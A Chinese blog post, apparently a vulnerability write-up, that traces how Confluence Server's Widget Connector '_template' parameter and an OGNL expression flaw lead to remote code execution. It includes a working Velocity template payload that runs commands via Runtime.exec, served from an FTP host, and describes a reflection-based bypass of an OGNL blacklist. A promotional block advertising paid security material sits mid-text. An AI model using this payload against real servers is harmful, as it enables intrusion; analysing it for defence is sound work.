写点什么

记一次安全漏洞分析

  • 2022 年 1 月 14 日
  • 本文字数:2314 字

    阅读完需:约 8 分钟

漏洞分析

环境搭建用了 vulhub 的环境,版本为


Confluence Server 6.10.2


Widget ConnectorConfluence的一个插件,对比一下修复前后的插件


Confluence 6.13.06.13.3


widgetconnector-3.1.0.jar!\com\atlassian\confluence\extra\widgetconnector\WidgetMacro.class



可以看见补丁在这里加了一个过滤函数,函数内容为遍历 sanitizeFields 并从 paramters 中删除对应字段,这里只有一个_template,那么补丁就是删除了 parameters 中的_template 字段


然后应该去看文档,寻找用了 Widget Connector 的操作



【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线


抓包得到 post 数据


{"contentId":"98368","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=k6lK5hlB1nQ","width":"100","height":"100"},"body":""}}
复制代码


url 不为空则进入this.renderManager.getEmbeddedHtml(url, parameters)




DefaultRenderManager#getEmbeddedHtml


这里的会根据输入的 url,遍历这几个 WidgetRenderer 匹配 url,匹配到就进入对应 WidgetRenderer 的 getEmbeddedHtml 方法



如这里 YoutubeRenderer,匹配成功



然后进入YoutubeRenderer#getEmbeddedHtml



之所以会输入 youtube 的 url 是因为 YoutubeRenderer 的参数设置函数中的_template 可控




继续往下


loadResource:322, ConfigurableResourceManager (com.atlassian.confluence.util.velocity)getResource:297, ConfigurableResourceManager (com.atlassian.confluence.util.velocity)getTemplate:1399, RuntimeInstance (org.apache.velocity.runtime)getTemplate:422, VelocityEngine (org.apache.velocity.app)getTemplate:89, VelocityUtils (com.atlassian.confluence.util.velocity)renderTemplateWithoutSwallowingErrors:75, VelocityUtils (com.atlassian.confluence.util.velocity)getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
复制代码


直到 ConfigurableResourceManager#loadResource


这里会循环 this.resourceLoaders 来加载资源,分别为


com.atlassian.confluence.setup.velocity.HibernateResourceLoader ORM资源加载器


org.apache.velocity.runtime.resource.loader.FileResourceLoader 文件读取


org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader 文件加载


com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader 动态插件资源加载器



所以看FileResourceLoader和ClasspathResourceLoadergetResourceStream方法就行了


FileResourceLoader#getResourceStream


这里有过滤函数



循环判断是否以/../开头



所以FileResourceLoader#getResourceStream不能跨目录读文件,只能读安装路径下的文件



看另外一个加载器ClasspathResourceLoader#getResourceStream


这次将_template改为file:///etc/passwd



ClassUtils#getResourceAsStream


前几个 ClassLoader 都无法加载,最终需要调用ParallelWebappClassLoadergetResourceAsStream



最终会调用到WebappClassLoaderBase#getResourceAsStream


617 行在获取 resource 时,路径会被拼接为/WEB-INF/classes/file:/etc/passwd,找不到该 resource 那么 stream=null,进入 625 行,这里调用了父类的 findResource,也就是 URLClassLoader 来返回一个 url 资源,这里支持 file https ftp 等协议,627 行返回 URL 资源不为空则获取内容



最终将数据封装入 Template 一路返回渲染 vm 模板




所以这里可以控制 vm 模板中的内容造成模板注入


rce.vm


#set ($exp="exp")#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc = $exp.getClass().forName("java.util.Scanner"))#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))#if($scan.hasNext())    $scan.next()#end
复制代码


这里用 ftp 协议,python -m pyftpdlib -p 8888


影响版本

*   version < 6.13.23*   6.14.0 ≤ version < 7.4.11*   7.5.0 ≤ version < 7.11.5*   7.12.0 ≤ version < 7.12.5
复制代码

漏洞分析

补丁应该是把 queryString 的 ognl 取值去掉了



因为这里是 ognl 表达式注入,所以可以把断点打到


OgnlValueStack#findValue



调用栈大致可以分为



在 getValue 前一步有安全检查


webwork-2.1.5-atlassian-3.jar!\com\opensymphony\webwork\util\OgnlValueFinder.class
复制代码



32 行这里会对表达式进行编译(解析 unicode)然后放入containsUnsafeExpression检查



具体内容黑名单如下


  1. 第一个 hashset 限制了静态方法、字段、构造方法

  2. 第二个和第三个 hashset 限制了获取 classloader,如:xxx.class 或者 xxx.getClass()

  3. 第四个 hashset 限制了编译后的结果中不能出现特定的变量



可以用反射绕过,然后就是 ognl 注入了,由于要逃逸 expr 的单引号,而直接传单引号会被 html 实体编码,所以可以利用 OgnlUtil.compile 解析 unicode 绕



用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
记一次安全漏洞分析